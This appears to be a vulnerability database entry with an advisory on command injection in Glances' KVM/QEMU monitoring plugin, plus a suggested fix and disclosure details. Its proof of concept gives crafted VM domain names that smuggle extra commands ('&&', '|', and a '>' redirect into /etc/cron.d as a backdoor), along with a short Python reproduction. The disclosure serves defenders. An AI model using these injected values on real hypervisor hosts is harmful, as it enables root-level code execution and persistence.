  "details": "### Summary\n\nThe Glances KVM/QEMU monitoring engine (`glances/plugins/vms/engines/virsh.py`) passes VM domain names, read directly from `virsh list --all` output, into f-string command templates that are processed by `secure_popen()`. `secure_popen()` is explicitly designed to interpret `\u0026\u0026`, `|`, and `\u003e` as shell operators.  Because domain names are never sanitised before interpolation, any user with the ability to create or rename a KVM/QEMU virtual machine can execute arbitrary commands as the OS user running Glances \u2014 commonly root on hypervisor hosts.\n\n---\n\n### Details\n\n**Affected file:** `glances/plugins/vms/engines/virsh.py`\n\n**Direct URLs (commit 04579778e733d705898a169e049dc84772c852da):**\n- https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/plugins/vms/engines/virsh.py#L185\n- https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/plugins/vms/engines/virsh.py#L204\n\nThe vulnerable calls are on lines 185 and 204:\n\n```python\n# line 185  (update_stats)\nret_cmd = secure_popen(f\u0027{VIRSH_PATH} {VIRSH_DOMAIN_STATS_OPTIONS} {domain}\u0027)\n\n# line 204  (update_title)\nret_cmd = secure_popen(f\u0027{VIRSH_PATH} {VIRSH_DOMAIN_TITLE_OPTIONS} {domain}\u0027)\n```\n\n`domain` is the name string parsed from the output of `virsh list --all` (line 59\u201378 in the same file); no sanitisation is applied to it at  any point before it reaches `secure_popen()`.\n\n`secure_popen()` is defined in `glances/secure.py`.  It explicitly splits the command string on `\u0026\u0026`, `|`, and `\u003e` before invoking `subprocess.Popen` with `shell=False` on each part, meaning all three operators are treated as real pipeline/redirection control characters:\n\n```python\n# glances/secure.py\ndef secure_popen(cmd):\n    ret = \u0027\u0027\n    for c in cmd.split(\u0027\u0026\u0026\u0027):        # \u0027\u0026\u0026\u0027 \u2192 two separate processes\n        ret += __secure_popen(c)\n    return ret\n\ndef __secure_popen(cmd):\n    for sub_cmd in cmd.split(\u0027|\u0027):   # \u0027|\u0027 \u2192 stdin/stdout piped\n        p = Popen(sub_cmd_split, shell=False, stdin=sub_cmd_stdin, stdout=PIPE, stderr=PIPE)\n    # \u0027\u003e\u0027 is split separately for file redirection\n```\n\nBy contrast, `actions.py` sanitises process names through `_sanitize_mustache_dict()` before they reach `secure_popen()`.  The `vms` plugin applies no such protection.\n\n**Confirmed on:** x86_64 Linux, Python 3.13, Glances 4.5.5_dev1 (commit 04579778e733d705898a169e049dc84772c852da).\n\nAll three injection operators were verified:\n\n| Operator | Effect | Confirmed |\n|----------|--------|-----------|\n| `\u0026\u0026`     | Second command executes after the virsh call | Yes |\n| `\\|`     | Output of virsh piped to injected command    | Yes |\n| `\u003e`      | virsh output redirected to arbitrary file    | Yes |\n\n---\n\n### PoC\n\n**Special configuration required**\n\n* Glances must be configured to monitor a KVM/QEMU hypervisor: the `vms` plugin must be enabled and `/usr/bin/virsh` must be installed and executable.\n* The attacker must have libvirt domain-creation or domain-rename privileges (e.g. membership in the `libvirt` group, a typical default on  Ubuntu/Debian/Fedora, or a cloud-platform tenant account).\n* No custom `glances.conf` settings are needed beyond a working virsh setup.\n\n**Step 1 \u2014 Create a VM with a crafted domain name**\n\nUsing the `\u0026\u0026` operator to chain a second command:\n\n```xml\n\u003cdomain type=\"kvm\"\u003e\n  \u003cname\u003eproductionDB \u0026amp;\u0026amp; touch /tmp/glances_pwned\u003c/name\u003e\n  \u003cmemory\u003e131072\u003c/memory\u003e\n  \u003cvcpu\u003e1\u003c/vcpu\u003e\n  \u003cos\u003e\u003ctype arch=\"x86_64\"\u003ehvm\u003c/type\u003e\u003c/os\u003e\n\u003c/domain\u003e\n```\n\n```bash\nvirsh define evil-domain.xml\n```\n\n**Step 2 \u2014 Start Glances with KVM monitoring enabled**\n\n```bash\nglances                # or: glances -s / glances -w\n```\n\nOn the next monitoring cycle Glances calls:\n\n```\nvirsh domstats --nowait \"productionDB \u0026\u0026 touch /tmp/glances_pwned\"\n```\n\nwhich `secure_popen()` splits into two processes:\n1. `virsh domstats --nowait productionDB`\n2. `touch /tmp/glances_pwned`\n\n**Step 3 \u2014 Verify execution**\n\n```bash\nls -la /tmp/glances_pwned   # file will exist, owned by the Glances user\n```\n\n**Pipe injection (`|`) example**\n\nDomain name: `\"productionDB | tee /tmp/virsh_output_stolen.txt\"`\n\nThe output of the virsh call is piped to `tee`, writing the data to an attacker-controlled path.\n\n**File-write injection (`\u003e`) example**\n\nDomain name: `\"productionDB \u003e /etc/cron.d/glances_backdoor\"`\n\nThe virsh output is redirected to a cron file, enabling persistent code execution on the next cron cycle.\n\n**Minimal Python reproduction (no VM required)**\n\n```python\nimport sys\nsys.path.insert(0, \u0027/path/to/glances\u0027)   # adjust to local clone\nfrom glances.secure import secure_popen\n\n# Simulates the exact call in virsh.py line 185\ndomain = \u0027productionDB \u0026\u0026 id\u0027\nresult = secure_popen(f\u0027/bin/echo domstats --nowait {domain}\u0027)\nprint(result)\n# Output will include two lines: the echo output AND the output of `id`\n```\n\n---\n\n### Impact\n\n**Vulnerability type:** Command Injection (CWE-78)\n\n**Who is impacted:** Any deployment of Glances on a KVM/QEMU hypervisor host where the `vms` plugin is active.  Exploitation requires the attacker to have libvirt domain-creation or domain-rename rights \u2014 a privilege granted by default to members of the `libvirt` group and to cloud-platform tenant APIs.\n\n**Impact:**\n- **Confidentiality:** Full \u2014 arbitrary commands can exfiltrate secrets from the Glances process environment and the file system.\n- **Integrity:** Full \u2014 file-write injection (`\u003e`) allows placing content in any file writable by the Glances process (cron, authorised_keys, etc.).\n- **Availability:** Full \u2014 the Glances process can be terminated or the host disrupted through the injected commands.\n\nIn cloud and multi-tenant virtualisation environments, Glances commonly runs as root on the hypervisor to access performance counters, so successful exploitation typically yields root-level code execution.\n\n---\n\n### Suggested Fix\n\nReplace the f-string interpolation with list-based argument passing to avoid any interaction with `secure_popen()`\u0027s operator splitting logic:\n\n```python\n# virsh.py \u2014 replace lines 185 and 204 with subprocess.run and explicit arg list from subprocess import run, PIPE\n\nresult = run(\n    [VIRSH_PATH, \u0027domstats\u0027, \u0027--nowait\u0027, domain],\n    stdout=PIPE, stderr=PIPE, timeout=5\n)\n```\n\nAlternatively, sanitise `domain` using the same `_sanitize_mustache_dict` helper already used in `actions.py`, which strips `\u0026\u0026`, `|`, `\u003e`, `;`, and backtick characters from string values.\n\nAs a defence-in-depth measure, consider running Glances under a dedicated low-privilege service account with `CAP_SYS_PTRACE` rather than as root.\n\n---\n\n### Responsible Disclosure\n\nThe AFINE Team is committed to responsible / coordinated disclosure. The AFINE Team will not publish details of this vulnerability or release exploit code publicly until a fix has been released, or 90 days have elapsed from the date of this report, whichever comes first.\n\n---\n\n### Credits\n\nThis issue was identified by Micha\u0142 Majchrowicz and Marcin Wyczechowski, members\nof the AFINE Team.\n\n---",
  "id": "PYSEC-2026-2497",
  "modified": "2026-07-13T16:04:09.233764Z",
  "published": "2026-07-13T15:46:22.772744Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nicolargo/glances/security/advisories/GHSA-v5r2-qh84-fjx5"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nicolargo/glances"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nicolargo/glances/releases/tag/v4.5.5"
    },
    {
      "type": "PACKAGE",
      "url": "https://pypi.org/project/glances"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-v5r2-qh84-fjx5"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-46606"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Glances is Vulnerable to Command Injection via KVM/QEMU VM Domain Names in glances/plugins/vms/engines/virsh.py"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

BREW-GLANCES-CVE-2026-46606 (CVE-2026-46606)

CVE-2026-46606 (GCVE-0-2026-46606)

GHSA-V5R2-QH84-FJX5

Summary

Details

PoC

Impact

Suggested Fix

Responsible Disclosure

Credits

PYSEC-2026-2497

Summary

Details

PoC

Impact

Suggested Fix

Responsible Disclosure

Credits

Tags

Sightings

Nomenclature

Related by attack behaviour